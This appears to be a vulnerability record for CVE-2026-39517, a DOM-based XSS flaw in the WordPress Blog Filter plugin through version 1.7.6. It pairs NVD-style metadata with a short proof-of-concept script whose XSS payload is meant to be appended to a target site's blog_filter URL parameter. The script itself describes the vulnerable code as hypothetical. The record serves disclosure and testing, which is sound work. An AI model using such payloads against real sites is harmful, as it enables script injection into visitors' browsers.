CVE-2026-39517

<!-- // PoC for CVE-2026-39517 (DOM-Based XSS) // Usage: Append the payload to the URL of a page using the vulnerable plugin. // Example: http://target-site.com/?blog_filter=<PAYLOAD> --> <script> // Simulating the vulnerable behavior where input is taken from URL // and directly inserted into the DOM without sanitization. // Malicious payload to demonstrate XSS execution var payload = '<img src=x onerror=alert(1)>'; // Hypothetical vulnerable code pattern in the plugin: // var user_input = getQueryString('blog_filter'); // document.getElementById('vulnerable-element').innerHTML = user_input; console.log('If the plugin uses innerHTML with user input, the alert will popup.'); // For testing, inject the payload into a div with ID 'result' (hypothetical) var targetDiv = document.getElementById('result'); if(targetDiv) { targetDiv.innerHTML = payload; } </script>

{"cve": {"id": "CVE-2026-39517", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:25.493", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in A WP Life Blog Filter blog-filter allows DOM-Based XSS.This issue affects Blog Filter: from n/a through <= 1.7.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/blog-filter/vulnerability/wordpress-blog-filter-plugin-1-7-6-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}